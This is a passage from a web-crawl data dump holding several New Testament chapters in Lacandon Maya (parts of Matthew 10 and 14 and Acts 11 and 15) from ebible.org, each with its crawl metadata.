ch'a'ex a taq'uinex.\n10 Mʌ' a ch'a'iquex u mucuquir a noq'uex, chen a buquinmʌnex ―quij Jesús―. Chen ra' a ch'a'ex. Mʌ' a yʌn ch'iquex u jer xʌnʌb, cax turiri'. Baxuc a xonte', mʌ' a ch'iquex. Quire' a cu beyajo', cu ts'abʌr yo'och bayiri' noc'.\n11 Ca' bin c'uchuquex chan cajar, cax carem u cajar. Cʌxtex a mac a tsoy yoro' soc ra' cu yacsiquex. Tsoy a wocarex tu yatoch hasta a ca' binex.\n12 Jesús caj ya'araj ti' u camsʌwinicob:\n―Ca' bin ocaquex ich mac yʌnin yatoch. T'ʌnex C'uj soc u qui' cʌnanta' ten C'uj a mac a cu yacsiquechex.\n13 Wa mʌ' u yacsechex tsoy a wʌc'ʌs ch'ic a t'ʌn ―quij Jesús―, quire' mʌ' u qui' acsechexi'. Wa caj u qui' acsechex cu p'atʌr a t'ʌnex ti'.\n14 A mʌ' ju yacsexo', a mʌ' u c'at u c'ʌmicob a t'ʌnex. Mʌ' ju c'at yubejobi'. Joq'uenex tu yatoch, cax tu cajar. Pustex u ru'umin a woquex soc yerob u beri' yʌn u si'pirob ―quij Jesús―.\n15 Taj quin wa'aric techex ―quij Jesús―. Ca' bin c'uchuc tu q'uinin u tar C'uj, yaj cu bin yubic yerar, a mʌ' u cha'j a wocarex a tsec'tex u t'ʌn C'uj. Jach manan cu bin muc'yajob. A tu cajar Sodoma quet yejer u cajar Gomorra mʌ' neyaj cu bin yubicob muc'yajob.\nJe' u c'uchur tu q'uinin cu bin u chuquicob a pachex wa cu quinsiquechexob\n16 Caj ya'araj Jesús ti' u camsʌwinicob:\n―U'yex ba' quin wa'aric techex ―quij Jesús―. Quin tuchi'quechex tu yʌn a nets'ique' ―quij Jesús―. Aro' irej a mac a caj u tuchi'taj u yʌrʌc' tʌmʌn yuc ich a bobochi'o'. Rajen qui' cʌnantex a bʌjex ―quij Jesús―, soc mʌ' nemʌ' biquechexi'.\n17 Caj ya'araj Jesús ti' u camsʌwinicob:\n―Qui' cʌnantex a bʌjex, quire' je' u chuquicob a pachechex. Je' u chuquic u mʌchiquechex a jach ts'urir tu cajarob. Je' u bin u puriquechex ʌcʌtan u jach ts'urir a pim mac. Je' u jʌts'iquechex a pachex tu chan najir tu cu naj c'ujinticob C'uj u winiquirob judío.\n18 Caj ya'araj Jesús ti' u camsʌwinicob:\n―Ti' cu bin u puriquechex ʌcʌtan ich gobernadores baxuc ich reyes cu bin u puriquechexo', quire' caj a wacsajex ta worex in t'ʌn. A baywo' ―quij Jesús―, c'ucha'an a worex a tsec'tiquex in t'ʌn ti' reyes yejer gobernadores. Cax mʌ' u winiquirob judío.\n19 Caj ya'araj ti' u camsʌwinicob, Jesús:\n―Wa ber u puriquechex ʌcʌtan ich u jach ts'urirob u cajar. Mʌ' ju jac'ʌr a worex a ba' ca bin a tsicbarex ti'ob. An bic ca bin a tsicbarex ti'ob mʌ' u jac'ʌr a worex ti'. A C'ujo' cu bin u yamtiquechex bic tabar ca bin a nunquiquex ti'ob. Toc ra' u q'uinino', cu bin u yamtiquechex C'uj.\n20 Cax cu yubic techex a t'ʌnex. Mʌ' techex ca t'ʌnexi' ―quij Jesús―. Chen u t'ʌn u Taj'or u Pixam C'uj cu t'ʌn, quire' cu tar ich a Tetex C'uj.\n21 Caj ya'araj ti' u camsʌwinicob, Jesús:\n―Cax a bʌj cu bin u c'ubiquechex quire' yirob caj a wacsex ta worex. Cax u wʌc'ʌs parar cu bin u c'ubic quinsbir ten u tet. Cax u wʌc'ʌs tet cu bin c'ubic ca' quinsac ten u parar.\n22 Tu cotor mac cu bin u p'actic techex quire' caj a wacsajex ta worex ti' in t'ʌn. Wa mac mʌ' ju p'ʌtic u cʌnic in t'ʌn hasta cu quimin, ra' u quinin bin in taquej.\n23 Wa mac cu chuquicob a pachex ich a cajarex. Xenex tu yʌn u jer cajar. Taj quin wa'aric techexi'. Quire' mʌ' toy rʌc manʌquechex a puts'urex quir a tsec'tex ti' in t'ʌn ich tu cotor u cajar tu ru'umin u winiquirob Israel, ca' bin wʌc'ʌs uren ten ―quij Jesús―. Quire' taren in yamtic mac tu cotor.\n24 'Cʌnex a jera'. U camsʌwinic mac mʌ' u c'uchur u yor ti' u yʌjcamsʌyʌjir. Baxuc u c'urew mʌ' u c'uchur u yor ti' u jach ts'urir.\n25 Rajen a je' u camsʌwinic mac yʌn u qui'quintic yor a caj u cʌnaj u camsʌyʌjir. Quire' a ba' u ber ti' u yʌjcamsʌyʌjir bayiri' cu bin tar ti' u camsʌwinic xan. Bayiri' xan, u c'urew mac ca' u qui'quintac yor a caj cʌnaj u jach ts'urir. Quire' a ba' u ber ti' u jach ts'urir bayiri' cu bin tar ti' u c'urew xan.\nCaj ya'araj Jesús ti' u camsʌwinicob:\n―An bic caj u t'ʌnenob, baxuc cu bin u t'ʌniquechexob: \"U pararechex Beelzebú.\" Chen jach manan cu bin ya'aricob ti' techex.\nCh'ajex sajaquir ti' C'uj\n(Lc. 12.2‑9)\n26 Caj ya'araj ti' u camsʌwinicob, Jesús:\n―Quire' a werex ba' cu bin tar techex. Mʌ' a sʌjtiquex mac. Quire' a ba' u mucuber ti' mac je' u rʌc u'yicobe', cax a ba' u mucuber ti'.\n27 Caj ya'araj ti' u camsʌwinicob, Jesús:\n―A ba' caj in camsechex ta junanex. Ca' a manex a rʌc ariquex ich tu cotor mac. A caj in camsex ta junanex ca' a puriquex a t'ʌnex tu cotor soc yerob ba' quiri' caj in camsajex.\n28 Caj ya'araj ti' u camsʌwinicob, Jesús:\n―Mʌ' ja ch'a'iquex sajaquir ti' mac, cax cu quinsiquex. Mʌ' ju quinsejob a pixamex. Ca' a sʌjtex C'uj, quire' c'ucha'an yor u puriquechex ich c'ac'. Tu cu yerar a winquirex quet yejer a pixamex.\n29 Caj ya'araj ti' u camsʌwinicob, Jesús:\n―Wa ber ca mʌnex ch'ich' ca'tur quir a chi'iquex. Ca bo'otiquex turi' centavo. \"Jot\" ―quechex ti'―, quire' mʌ' co'oj ch'ich'. Chen a ch'ich'o', mʌ' u quimin wa mʌ' tsoy tu t'ʌn C'uj ic Tetex ca'anan.\n30 Chen a C'ujo', jach manan u cʌnantic techex, biquinin a jo'rex cu cʌnantic xan.\n31 Rajen ba'wir ca tucriquex a bʌj quire' a techexo' jach ya'ab a bo'orirex, a chan ch'ich'o', mʌ' co'oji'.\nA mac cu tsicbar ti' u rac'ob ti' Cristo\n(Lc. 12.8‑9)\n32 Caj ya'araj ti' u camsʌwinicob, Jesús:\n―Bayiri' tu cotor mac a taj cu yacsic tu yor ti' ten, aro' chʌca'an yiricob u rac'ob. Ra' quin bin in qui' acsic ʌcʌtan in Tet C'uj ca'anan.\n33 Caj ya'araj ti' u camsʌwinicob, Jesús:\n―A mac a mʌ' ju ya'araj ti' u rac'ob wa ju yacsaj tu yoro'. Ca' bin xiquiquen ʌcʌtan ich in Tet C'uj ca'anan ca' bin xuruc t'ʌn. Je' in wac ti' in Tete': \"Mʌ' in wer maqui'.\"\nJesús caj tar u jʌsic mac cax u wʌc'ʌs bʌjob\n(Lc. 12.51‑53; 14.26‑27)\n34 Caj ya'araj ti' u camsʌwinicob, Jesús:\n―Mʌ' a chen quibiquex wa rʌc taren in quetquintic yor tu cotor mac. Quire' a mac a cu yacsic tu yor ti' ten, u rac'ob cu bin u ts'ictarob yejer.\n35 Mʌ' ja wirej, a pararo', cu bin u ts'ictarob yejer u tet. A xquico', cu bin u ts'ictar yejer u nʌ' ―quij Jesús―. A xquico', cu bin u ts'ictar yejer yixquit.\n36 Caj ya'araj ti' u camsʌwinicob:\n―Cax u wʌc'ʌs u bʌjob cu bin u p'acta'bir yejer.\n37 Caj ya'araj ti' u camsʌwinicob, Jesús:\n―Wa mac jach manan u yajquintic u tet, baxuc u nʌ', chen mʌ' u neyajquinten, quire' u tet jach yaj, baxuc u nʌ'. Ba'wir quin wa'aric: \"Ten yʌnin aro'.\"\n38 Caj ya'araj ti' u camsʌwinicob, Jesús:\n―A mac cu bin yacsic tu yor ti' ten, bin u ca' muc'yaj an ten bic caj u bajij mac ich cruz. Wa mʌ' u c'at, ba'wir cu yacsic tu yor ten?\n39 Mʌ' ja wirej, a mac u c'at u taquic u bʌj soc mʌ' u muc'yaj, chen je' u sa'tʌr u pixam, quire' caj u p'ʌtaj u yacsic tu yor in t'ʌn. Chen a mac u c'at u quinsa' ti' ten, quire' caj u yacsaj tu yor ti' ten. Mʌ' u sa'tʌr u pixam, cax quinsa'b ten u rac'ob.\nA mac a cu bin cuxtar ich ca'anan\n(Mr. 9.41)\n40 Caj ya'araj ti' u camsʌwinicob, Jesús:\n―Wa mac cu yacsiquechex, baxuc cu yacsiquen, xan. A mac cu yacsiquen cu yacsic C'uj xan quire' caj u tuchi'ten C'uj.\n41 A mac a cu yacsic yʌjtseq'uir u t'ʌn C'uj quire' tuchi'ta'b ten C'uj quir u tsec'tic u t'ʌn. Quet ca' bin bo'ota'c ten C'uj. A mac a cu yacsic xib, a jach tsoy yoro', quire' yer jach tsoy yor xib. Ra'iri' quet ca' bin bo'otac ten C'uj ti' techex, quire' caj a wacsajex xib ta watochex.\n42 Caj ya'araj ti' u camsʌwinicob, Jesús:\n―Yʌn mac a caj u yacsaj tu yor ten, cu bin arbir ten a mʌ' yer C'uje': \"Jot aro.\" Chen a mac a cu ts'ic yuc'ur sisis ja' ti'ob, C'uj bin u ca' bo'otej ti'ob.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/MT10.html","date":"2022-06-26T16:49:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103271763.15\/warc\/CC-MAIN-20220626161834-20220626191834-00473.warc.gz","language":"lac","language_score":1.0000058413,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.000005841255188}","num_words":1689,"character_repetition_ratio":0.111,"word_repetition_ratio":0.0,"special_characters_ratio":0.299,"stopwords_ratio":0.534,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"11\nPedro cu tsicbatic ti' u yet acsa'orirob ich u cajar Jerusalén\n1 Raji' caj u yubaj ya'ara' tan yacsicob tu yorob a mʌ' u winiquirob judío. A xibo', a teta'b ten Jesús uch quir u tsec'ta'r u t'ʌn a ti' cʌja'anob ich u cajar Jerusalén, robob caj u yubob. A yacsmʌnob tu yorob a ti' cʌja'anob ich u ru'umin Judea caj u yubob xan.\n2 Barej, caj urij Pedro ich u cajar Jerusalén. U winiquirob judío a cu ya'arique', ca' u ts'irej mac a mʌ' u winiquirob judío, yacsmʌnob tu yorob. Robob caj u sʌjʌt'ʌnob, tan ya'aricob: \"Mʌ' tsoy a ba' cu man u betic Pedro, quij.\"\n3 A ra'iri' xibob a cu sʌjʌt'ʌnob, caj ya'arajob ti' Pedro:\n―Biquinin caj binech a wirej mʌ' u winiquirob judío? Biquinin caj janech yejerob a mʌ' u winiquirob judío?\n4 Rajen Pedro caj u yʌnxchun u nunquic, caj u toc rʌc araj ti'ob bic tabar caj bin ich a mʌ' u winiquirob judío. Rajen caj u ya'araj ti'ob;\n5 ―Ti' yʌnen ich u cajar Jope tu quin t'ʌnic C'uj, jeroj, seb caj in wiraj ba' irej wa wʌyac' in ca'. Caj in wiraj emen u ca' ba' irej noc' a jach caremo'. Toc c'axa'an u xax u noq'uir. Yʌn cuatro u xax u noq'uir. Aro' caj emij tu yʌnen a teno' ―quij―. Tar u tar ich ca'anan caj emij toc ʌcʌcbar caj emij.\n6 A teno', caj in qui'qui' pʌctaj a ba' ti' yʌn tu japnin noc', bayiri' xan, caj in c'ʌ'otaj a ba' ti' yʌn ich u noq'uir. Caj in wiraj u bʌq'uir c'ax. Caj in wiraj u bʌq'ir a ʌrʌc'a'an. Caj in wiraj can, caj in wiraj juj yejer u rac'ob bʌc'. Caj in rʌc iraj ch'ich' xan.\n7 A ray a q'uinino' caj in wu'yaj u t'ʌn mac caj u ya'araj: \"Riq'uen, Pedro, quij. Chuquej a quinsej, a ch'i'ej, quij ya'aric.\"\n8 Chen a teno', caj in wa'araj: \"Mʌ' in chi'ic Jaj Ts'urir. Mʌ' in chi'mʌni'. Jariri' quin naj chi'ic a ba' caj u toc araj Moisés uch, a tsoy in chi'icob. Mʌ' tsoy in ch'i'ic aro', Jaj Ts'urir.\"\n9 Ca'ten caj in wu'y u t'ʌn ca'anan: \"Tsoy a chi'ic a ba' cu ya'aric C'uj, tsoy u chibir. Rajen mʌ' a yan aric mʌ' tsoy in chi'ic a teno'.\"\n10 Ca'ten caj in wu'yaj u t'ʌn ca'anan: \"Riq'uen, Pedro. Chuquej a quinsej, a chi'ej. Tsoy a chi'ic a ba' cu ya'aric C'uj, tsoy u chibir. Rajen mʌ' a yʌn aric mʌ' tsoy in chi'ic a teno'.\" Caj ts'oquij caj wʌc'ʌs binij ca'anan.\n11 A ray u q'uinino', caj bin ca'anan a noc'o', caj c'uchob a mʌna' u nup xibob ich u jor naj tu yʌnen. Tuchi'ta'bob caj u pʌyen. Tar u tarob ich u cajar Cesarea. Cu cʌxtiquenob.\n12 Caj u ya'araj ten u Taj'or u Pixam C'uj: \"Ca' xiquech Pedro yejerob. Mʌ' a c'ʌs tucric chichin wa mʌ' ja bin yejerob. Quire' caj in tuch'itob ca' tacob u pʌyiquechob.\" In wet binacob a je' seis xib a yacsʌmʌnob tu yorob, in wet winiquirob judío xan. Caj c'uchenob jeroj caj oquenob ich yatoch Cornelio u winiquir romano, quire' raji' caj u pʌyen.\n13 A ray xibo' caj u ya'araj caj u yiraj u yʌjmasir u t'ʌn C'uj ich u yatoch ch'iquicbar. Jeroj caj ara'b ten yʌjmasir u t'ʌn C'uj: \"Tuchi'tej xibob ca' xicob pʌybir Simón Pedro a ti' yʌn ich u cajar Jope.\n14 Je' u tsec'tic tech yejer tu cotor a bʌjob bic a taquicquex a bʌjex.\"\n15 Barej caj in yʌnxchun in tsec'tic ti'ob caj tar u Taj'or u Pixam C'uj tu much'a'anob a mʌ' u winiquirob judío. Caj tar tu yicnʌnob an ten bic to'onex caj tar u Taj'or u Pixam C'uj tu q'uininin Pentecostés.\n16 A ray u q'uinino', c'aj ten u t'ʌn Jaj Ts'ur barej caj u ya'araj a tenob: \"Jach taj, quij Jesús. A Juano' caj u yacsaj ja' tu jo'r mac caj c'am u t'ʌn Juan. A mac a cu c'ʌmic u t'ʌn C'uj, raji' cu bin ts'a'bir u Taj'or u Pixam C'uj ti'.\"\n17 Mʌ' ja wirej, C'uj caj u tuchi'taj u Taj'or u Pixam C'uj ti' a mʌ' u winiquirob judío, baxuc caj u tuchi'taj to'onex quire' tij cacsajex tij corex u t'ʌn Jaj Ts'ur Jesucristo. A teno' mʌ' c'ucha'an in wor in su'sic C'uj.\n18 Caj ts'oc u yubicob u t'ʌn Pedro a yacsmʌnob tu yorob tu yʌn Pedro mʌ' yʌn t'ʌnajobi', jeroj tune' caj u jach t'ʌnajob C'uj, tan ya'aricob:\n―Jach caremech C'uj. Cax mʌ' u winiquirob judío tsoy a wiric a techo' C'uj. Caj a cha' u c'axob u yorob quir u p'ʌticob u c'asirob quir u cuxtarob munt q'uin.\nA yacsmʌnob tu yorob ich u cajar Antioquía\n19 Caj ts'oc u quinsa'r Esteban, barej caj u yʌnxchun u chuquicob u pachob a yacsmʌnob tu yorob u t'ʌn Jesús rajen a yacsmʌnob tu yorob caj u p'ʌtob tu yʌnob caj binob ich u jer ru'um, baxuc caj u betaj ya'ab a yacsmʌnob tu yorob uch. Yʌn jun yarob, caj binob nach ich u ru'umin Fenicia, u jer jun yarob, tar binob ich u petenin u c'aba' Chipre, u jer jun yarob caj binob ich u cajar Antioquía.\n20 A mac a cu tarob ti' u petenin c'ac'nab Chipre yejer a mac a cu tarob ti' u cajar Cirene, a yacsmʌnob tu yorob. Robob caj c'uchob uch ich u cajar Antioquía. Ti' caj u tsicbʌtajob ti' a mʌ' u winiquirob judío, bayiri' xan, caj u tsec'tajob u jach tsoyir u t'ʌn Jaj Ts'ur Jesús.\n21 Quire' C'uj ts'aj u muc'ob quir u tsec'ta'rob u t'ʌn C'uj, rajen ya'ab mac caj u yacsajob tu yorob u t'ʌn Jesús caj u p'ʌtajob a ba' caj u quibajob uch.\n22 Barej a mac a yacsmʌnob tu yorob ich u cajar Jerusalén caj u yubajob cu yacsicob tu yorob ra' a mʌ' u winiquirob judío ich u cajar Antioquía, jeroj tune', caj tuchi'ta'b Bernabé ten a yacsmʌnob tu yorob ca' xic ich u cajar Antioquía.\n23 Barej, caj c'uchij Bernabé ich u cajar Antioquía, caj u yiraj tan u qui' yamta'rob ten C'uj, caj qui'jij yor Bernabé. Caj u yiraj aro', caj u chichquintaj yorob tu cotor soc mʌ' u p'ʌticob u yacsicob tu yorob u t'ʌn Jaj Ts'ur, soc u rajra' cu quibicob u t'ʌn Jaj Ts'ur.\n24 Mʌ' ja wirej, jach tsoy yor Bernabé. Tu jachts'urinta' u Taj'or u Pixam C'uj Bernabé, rajen ya'ab caj u yacsajob tu yorob tu cajar Antioquía.\n25 Caj ts'oc aro', pachir caj bin Bernabé, tu jamach p'ʌtaj u cajar Antioquía quir u bin ich u cajar Tarso. Bin cʌxta'bir Saulo.\n26 Caj u yiraj caj u pʌyaj ca' xic yejer ich u cajar Antioquía. Yet c'uchac Saulo yejer Bernabé ich u cajar Antioquía. Ti' p'atob ich u cajar Antioquía turiri' yaxq'uin quire' acsa'bob ten a yacsmʌnob tu yorob. Robob caj u camsajob ya'ab mac. Ra' u yacsmʌnob tu yorob pa'ch ten u rac'ob, a ju yet cajar: Raji' a cu sayʌrob tu pach Cristo, 'raji' yʌn ch'ic arej cu sayʌrob tu pach Cristo ich u cajar Antioquía.\n27 Ti' yʌn Bernabé yejer Saulo ich u cajar Antioquía barej caj tarob ich u cajar Antioquía a mac a ts'ab u tucur ten C'uj quir u tsicbar a ba' u c'at C'uj. Robob ruc'ob ich u cajar Jerusalén caj binob ich u cajar Antioquía.\n28 Jeroj, caj tarob u much'quinticob u bʌj a mac a yacsmʌnob tu yorob quir u yubicob u t'ʌn C'uj. A ray u q'uinino', turiri' a mac a ts'a'b u tucur ten C'uj quir u tsicbar a ba' u c'at C'uj, raji' u c'aba' Agabo. Raji' caj riq'uir u tsec'tic u t'ʌn C'uj. U Taj'or u Pixam C'uj caj ts'aj u t'ʌnin u tucric Agabo, a ba' cu bin tar biq'uin. Raji' caj u ya'araj:\n―Bin u caj tar u ch'ic yum wi'ij ich tu cotor u cajarob ich yoc'ocab.\nCa' bin c'uchuc tu q'uinin u reyinticob Claudio ich u cajar Roma je' u tar wi'ij.\n29 A yacsmʌnob tu yorob a ti' yʌn ich u cajar Antioquía caj u ya'arajob:\n―Ca' ic much'quintex ic taq'uinex ca' ic purex ich ij quet acsa'orirex ich u ru'umin Judea. A mun c'ucha'an ij corex ic ts'iquex ti', chuquex ti'ob.\n30 Caj ts'oc u much'quinticob u taq'uinob caj bin purbirob ti' u yet acsa'orirob a mac cʌja'an ich u ru'umin Judea. Bernabé yejer Saulo bin u puric u taq'uinob. Caj c'uchob caj u p'ʌtajob u taq'uinob ich u jach ts'urirob a yacsmʌnob tu yorob a cu ya'aricob a Nuxibo'.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/AC11.html","date":"2022-06-26T17:51:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103271763.15\/warc\/CC-MAIN-20220626161834-20220626191834-00477.warc.gz","language":"lac","language_score":1.0000046492,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000046491622925}","num_words":1383,"character_repetition_ratio":0.115,"word_repetition_ratio":0.012,"special_characters_ratio":0.282,"stopwords_ratio":0.492,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"14\nCaj quinsa'b Juan a cu yacsic ja' tu jo'r mac\n(Mr. 6.14‑29; Lc. 9.7‑9)\n1 Ra' u q'uinin ti' yʌn Jesús ich u cajar Nazaret. Caj yub u rey Herodes ti' yʌn Jesús. Caj yubaj u jumbinta' jach carem u beyaj Jesús. Ra' Herodes gobernador u ru'umin Galilea.\n2 Caj ara'b ten Herodes ti' a mac a cu yamticob u reyinticob Herodes:\n―In wer raji' Juan ―quij Herodes―, a cu yacsic ja' tu jo'r mac. Riq'uij caj quimij rajen jach carem u beyaj Juan ―quij Herodes.\n3-4 Uch chuc Juan ten Herodes. Caj mac tu cu ma'cʌr u winiquir. Caj c'arar Juan. Caj c'arij yoc Juan ten Herodes. Caj ara'b ten Juan ti' Herodes:\n―Mʌ' tsoy a ch'ic a mu'.\nHerodías u c'aba' u rac' u yits'in Felipe. Rajen chuc Juan.\n5 Cax Herodes u c'at u quinsic Juan, cu ch'ic sajquir ti' a pimo'. Herodes yer je' u p'ujur a pimo', quire' yerob a Juano' cu tsec'tic u t'ʌn C'uj.\n6 Caj c'uchij tu q'uinin quir u c'ʌ'otic tuj rocha'b Herodes ten u nʌ' uch. Caj u pʌyaj u rac'ob Herodes quir u qui'qui' janʌnob. Caj joc' u ts'enʌ' Herodes. Caj oc'atnʌjij tu pim a mac. Jach tsoy yirir yoc'at ten Herodes.\n7 Ts'oc yoc'at u ts'enʌ', caj ya'araj ti' u ts'enʌ':\n―Ʌcʌtan tu wich C'uj wa ba' a c'at je' in ts'ic tech. Wa mʌ' in ts'a tech cax u quinsen C'uj.\n8 U ts'enʌ' Herodes caj bin tu yʌn u nʌ'. Caj ara'b ti' ten u nʌ':\n―Xen c'atej ca' u xonch'ʌctej u car Juan a cu yacsic ja' tu jo'r mac ca' u ts'aj tech u jo'r Juan. Ca' u but'ej tech ich u rʌquir quir a pe'jic u jo'r Juan.\n9 Caj yubaj u c'ata'r ten u ts'enʌ':\n―Chuquej ten u jo'r Juan. Tu pachir tucraj quire' mʌ' u c'at u quinsa'r Juan ten Herodes. Quire' tu rʌc u'yajob mac cura'an tu cu qui'qui' janʌnob, quire' caj u toc araj: \"Je' in ts'ic tech a ba' a c'at.\" Rajen caj tuchi'ta'b ten Herodes ca' xonch'ʌctac u car Juan.\n10 Caj ya'araj Herodes:\n―Xen xonch'ʌctej u car Juan tu mʌca'an.\n11 Seb caj u ch'aj u jo'r Juan ich u rʌquir. Caj ts'a'b ti' xquic caj bin u ts'aj ti' u nʌ'.\n12 Caj tarob u camsʌwinicob Juan. Caj tar ch'a'bir u baquer Juan, caj u mucob u baquer. Ts'oc u muquicob u baquere', caj bin arbir ti' Jesús: \"Mʌna' Juan.\"\nJesús caj u ts'aj yo'och a cinco mil xibo'\n(Mr. 6.30‑44; Lc. 9.10‑17; Jn. 6.1‑14)\n13 Jesús caj yubaj bic tabar caj quinsa'b Juan caj bin Jesús. Tu junan caj binij. Caj binij yejer chem tu mʌna' mac. Caj yubob caj bin Jesús tu junan, caj rʌc tar a pimo'. Caj rʌc c'uchob ich Jesús. A pimo', caj joc'ob tu cajar caj binob ich yoc tu yʌn Jesús.\n14 Caj oc Jesús ich chem caj yiraj jach pim mac caj u much'quintob u bʌj ich Jesús. Caj yiraj a pimo', caj u yajquintaj quire' otsir caj irir ten Jesús rajen. Caj jawsa'b u yajirir a mac tar purbir.\n15 Oq'uin caj c'uchij u camsʌwinicob ich Jesús. Caj c'uchob u camsʌwinicob Jesús caj ya'arob:\n―Cu bin ic yum. Mʌna' mac a tera'. Arej u binob u mʌnejob yo'och quir u janticob a pimo'. Arej ti'ob ca' xicob u mʌnejob yo'och ich u chan cajarob.\n16 Jesús caj ya'araj ti'ob:\n―Cax mʌ' ju binob ―quij Jesús―. Ts'ajex yo'och pan.\n17 Caj u nuncajob u camsʌwinicob:\n―Mʌ' ya'ab in wo'och panobi'. Yʌn cinco pan tenob. Ca'tur cʌy yʌn tenobi'.\n18 Jesús caj ya'araj:\n―Chuquej tera' ―quij Jesús.\n19 Jesús caj ya'araj ti' a pimo':\n―Rʌc much'quintex a bʌj. Curenex ich su'uc.\nCaj rʌc curʌjob. Caj u rat'aj yo'och pan a cinco pano'. Caj u rat'aj yo'och cʌy xan, ca'tur cʌy. Caj u pʌctaj ca'anan caj u t'ʌnaj C'uj Jesús:\n―Bayo' C'uj ―quij Jesús―. Ta ts'aj ij co'ochex pan.\nCaj ts'oc u t'ʌnic C'uj Jesús, caj u rʌc jʌsaj ti' u camsʌwinicob. Robob ca' u rʌc t'axaj yo'och ti' a pim.\n20-21 Caj u jantob a pimo', cinco mil xib caj rʌc na'achʌjob. Mʌ' u xacaj a xquic, mʌ' u xacaj u chan ti'ar. Pachir caj u marajob doce xac, chup u xet'er. Caj u rʌc marob u xet'er quire' mʌ' ju rʌc jantaj.\nJesús tan u bin ich yoc'o ja'\n(Mr. 6.45‑52; Jn. 6.16‑21)\n22 Seb caj ya'araj Jesús yocarob u camsʌwinicob ich chem quir u ch'ʌctic c'ac'nab. Ra' yʌn u c'uchurob camsʌwinicob pach c'ac'nab. Pachir ca' bin c'uchuc Jesús. Caj bin u t'ʌnej ca' xicob a pimo'.\n23 Caj ts'oc u tuchi'tic a pimo', caj rʌc binob. Caj bine', caj bin Jesús u t'ʌnej C'uj ich u jo'r p'uc wits. Tu junan caj bin. Caj bin ic yum ti' yʌn Jesús tu junan.\n24 A chemo', ti' yʌn chumuc c'ac'nab. Caj c'uchij chumuc c'ac'nab caj tar yic'ar. Caj nup'o' yic'ar ich chumuc c'ac'nab. Cu ts'icch'inta'r u chemin ten u yamin.\n25 Cu sastar caj c'uchij Jesús tu yʌnob u camsʌwinicob. Caj tar Jesús ich yoc'o ja'.\n26 Caj yiraj u camsʌwinicob cu tar Jesús ich yoc'o ja' caj jaq'uij yorob. Caj awʌtnʌjob quire' sajʌcob. Caj ya'arob:\n―Quisin cu tar.\n27 Seb caj u puraj u t'ʌn, Jesús caj ya'araj:\n―Chichquintej a worex, ten ―quij Jesús―. Mʌ' ja ch'iquex sajquire' ten.\n28 Caj ya'araj Pedro:\n―Jaj Ts'ur, ar in tar tu yʌnech ich yoc'o ja' wa tech ca tar ich yoc'o ja'.\n29 Caj ya'araj Jesús:\n―Cojen.\nCaj joc' ich chem Pedro. Caj bin yoc'o ja' caj c'uchuc tu yʌn Jesús.\n30 Caj yubaj u tar c'am yic'ar Pedro caj jaq'uij yor. Caj jaq'uij yore' caj u yʌnxchun u jurur. Caj awʌtnʌjij:\n―Taquen, Jaj Ts'ur.\n31 Tabar u c'uchur ich Jesús caj jur. Caj chuc u c'ʌb ten Jesús, caj joc'sa'b ten Jesús. Caj ara'b ten Jesús:\n―Chichin ca wacsic ta wor ten Pedro. Mʌ' ju yʌn jac'ʌr a wor.\n32 Caj wʌc'ʌs oc Pedro ich chem yejer Jesús caj ch'enij yic'ar.\n33 A mac a ti' yʌnob ich chem, caj rʌc xonrʌj tu yʌn Jesús quir u c'ujinta'r Jesús. Caj ya'arob:\n―U pararech C'uj.\nJesús caj u jawsaj u yajir ich u cajar Genesaret\n(Mr. 6.53‑56)\n34 Caj c'uchob ich chi'c'ac'nab tu cajar Genesaret quire' caj u ch'ʌctob c'ac'nab.\n35 A mac a ti' yʌn ich u cajar Genesaret u c'ʌ'omʌnob Jesús. Caj rʌc manob u jumbintejob ti' yʌn Jesús. Rajen rʌc tarob purbir u yajirir ich Jesús. Cax u cajar nʌts'a'an, ti' cu tarob purbir u yajirir.\n36 Caj chich c'ata'b ti' Jesús ten a mac a yaje':\n―Cax in tʌrejob yoquirir a noc' wa ja c'at in tʌricob yoquir a noc' ―quij ya'araj ti' Jesús.\nCaj rʌc tarij yoquirir u noc' Jesús caj rʌc jaw.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/MT14.html","date":"2022-06-27T05:02:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103328647.18\/warc\/CC-MAIN-20220627043200-20220627073200-00277.warc.gz","language":"lac","language_score":1.0000017881,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000017881393433}","num_words":1078,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.304,"stopwords_ratio":0.479,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"15\nCaj u much'quintajob u bʌj ich u cajar Jerusalén\n1 Jun yarob xib caj ruc'ob ich u ru'umin Judea caj ruc'ob tu ru'umin quir u binob ich u cajar Antioquía. Caj c'uchob caj ocob u camsicob a mac a yacsmʌnob tu yorob. Robob caj u ya'araj:\n―Wa mʌ' ja quibex a ts'iriquex a bʌq'uerex an ten bic u naj beticob u winiquirob judío, quire' a ba' caj u ya'araj Moisés uch, jeroj mʌ' ju taquiquechex C'uj.\n2 A Pablojo' yejer Bernabéjo' mʌ' quet yorob yejer a ba' caj u ya'arajob, rajen c'am u t'ʌnob yejerob, chen mʌ' c'ucha'an yor u quetquinticob u yorobi'. A yacsmʌnob tu yorob caj u yirajob mʌ' u quetquintajob u yorob, rajen caj u tucrajob ca' xicob ich u cajar Jerusalén Pablo yejer Bernabé quet yejer u jer jun yarob a yacsmʌnob tu yorob. Caj tuchi'tajob ca' xicob tu yʌnob a xibo' a teta'b ten Jesús quir u tsec'ta'r u t'ʌn, bayiri' xan, yejer u jach ts'urirob a yacsmʌnob tu yorob tu cu much'quinticob u bʌj quir u c'ujinticob C'uj.\n3 Ara'bob u binob tu berir tenob a yacsmʌnob tu yorob ich u cajar Antioquía. 